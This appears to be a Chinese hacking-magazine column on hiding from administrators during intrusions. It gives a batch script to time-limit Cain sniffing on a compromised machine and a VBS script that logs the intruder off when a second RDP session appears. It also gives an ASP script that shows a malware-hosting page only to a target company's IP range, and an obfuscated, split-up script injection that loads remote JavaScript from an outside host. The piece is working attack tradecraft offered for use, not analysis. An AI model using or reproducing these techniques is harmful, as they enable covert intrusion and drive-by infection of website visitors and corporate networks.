|
我在入侵过程中注意到的细节之三
前两期中的专栏中,针对细节入侵这一专题,我分别写了我在内网和注入中注意到的一些细节。其实入侵过程中,有时候难免会与管理员面对面,如何更好的隐蔽自己也是很重要的,一旦不注意,入侵工作往往前功尽弃。这期专栏中,我就如何隐蔽自己所做的一些工作,所注意到的细节来写一下。
先来说一下嗅探吧。大家常用的工具是cain,用法大家都会了。但是cain在嗅探过程中,如果遇到流量较大的目标机,往往会把装cain的主机搞死,从而引起管理员的注意。像有的时候,嗅了一阵后,就会把3389搞死。我也没有更好的办法,只能让cain嗅一段时间后停止,再重新开始。如果每次都是手工去停止cain,有时候时间掌握的不及时,3389已经死掉了。其实解决这个问题很简单,一个简单的批处理脚本就可以了。脚本内容如下:
★
ping 127.0.0.1 -n 5000>nul
taskkill /F /PID 4144
★
上边批处理脚本中,5000是秒数,用来控制cain的嗅探时间。4144是cain的进程数,可以自己用tasklist查一下就知道了。这样一来,你可以放心在嗅探这段时间内去做别的事了。
再来呢,用cain嗅探一般会在3389上,这时候如果碰到管理员登陆3389也不太好办,我的好友Netpatch写过一个终端监视脚本,一旦发现有两人同时登陆终端的话就注销自己。脚本内容如下:
| 以下是引用片段: on error resume next set arg=wscript.arguments If arg.count=0 then wscript.echo “use:// cscript.exe FS.vbs port” sleep 1000 wscript.quit End If Tport=arg(0) Runs=false While runs=false Dim oShell,oExec,strOut,oRegExp,Matches,Match,Num,Tport Set oShell = WScript.CreateObject(”WScript.Shell”) Set oExec = oShell.Exec(”netstat -an”) Set oRegExp = new RegExp oRegExp.Pattern = “TCP[\s]+[\d\.]+:”&Tport&”[\s]+[\d\.]+:[\d]+[\s]+ESTABLISHED” oRegExp.IgnoreCase = True oRegExp.Global = True Do While Not oExec.StdOut.AtEndOfStream strOut = strOut & oExec.StdOut.ReadLine() & Chr(13) & Chr(10) Loop Set Matches = oRegExp.Execute(strOut) Num = 0 For Each Match In Matches Num = Num + 1 Next if num > 1 then Runs=true oShell.run “logoff” end if Set Matches = Nothing Set oRegExp = Nothing Set oExec = Nothing Set oShell = Nothing wend |
最后来说一下挂马。挂马的隐蔽方法也有很多,以前黑手上讲过几期。如果只是盲目的挂马多搞几台肉鸡的话,那个随便你了。但是有时候我们入侵了一个公司的 web站,目标却是他们的内网。这时候你挂马可能会挂出太多的无用机器,如果你知他们公司内网出口的IP段的话,我们可以限制一下IP段使其更有针对性。这个asp脚本如下:
| 以下是引用片段: <% ”获取访问者的地址 ip=Request.ServerVariables(”REMOTE_ADDR”) ‘允许的IP地址段为 allowip1=”221.221.221.1″ allowip2=”221.221.221.254″ if checkip(ip,allowip1,allowip2)=true then response.write “你挂马的页面” end if function checkip(ip,allowip1,allowip2) dim check(4) checkip=false ipstr=split(ip,”.”) allow1=split(allowip1,”.”) allow2=split(allowip2,”.”) if cint(allow1(0))>cint(allow2(0)) then ”判断IP地址段是否合法 response.write “禁止访问” exit function end if for i=0 to ubound(ipstr) if cint(allow1(i))<cint(allow2(i)) then if cint(allow1(i))=cint(ipstr(i)) then check(i)=true checkip=true exit for else if cint(ipstr(i))<cint(allow2(i)) then exit for else if cint(ipstr(i))>cint(allow2(i)) then check(i)=false checkip=false exit for else check(i)=true checkip=true end if end if end if else if cint(allow1(i))>cint(ipstr(i)) or cint(allow1(i))<cint(ipstr(i)) then check(i)=false checkip=false if i<>ubound(ipstr) then exit for end if else check(i)=true end if end if next if (check(0)=true and check(1)=true and check(2)=true and check(3)=false) and (cint(allow2(2))>cint(ipstr(2))) then checkip=true end if end function %> |
这个脚本也许考虑得不太周到,但是我觉得足够用了。挂马的隐蔽方法也有很多,我最常用的是代码分隔法。记得剑心有篇文章,提到过最短的跨站方法,我们也可以用这种方法来挂马的。好比常规挂马语句<script src=http://www.110.cn/1.js></script>拆分一下转换为:
| 以下是引用片段: <script>z=’document.’</script> <script>z=z+’write(”‘</script> <script>z=z+’<script’</script> <script>z=z+’ src=ht’</script> <script>z=z+’tp://ww’</script> <script>z=z+’w.110′</script> <script>z=z+’.cn/1.’</script> <script>z=z+’js></sc’</script> <script>z=z+’ript>”)’</script> <script>eval(z)</script> |
| 一次通过 Oracle8i 入侵系统之旅 | 03-21 |
| SA权限下的思路变通 | 03-18 |
| 有防火墙的网站整个入侵过程 | 01-21 |
| 绕过Xplog70.dll玩入侵 | 01-14 |
| 一步一步的入侵----only for you | 01-09 |
| 入侵中快速获得Web根目录的技巧 | 01-09 |
| 记一次对RedHat Linux系统的安全 | 01-08 |
| 介绍几个小工具和入侵的技法(2) | 01-08 |
| 有防火墙的网站整个入侵过程 | 01-04 |
| 拐弯入侵虚拟主机 | 01-04 |
| 由一次入侵实例看虚拟主机系统的 | 01-02 |
| 解读IDS入侵检测系统术语 | 01-02 |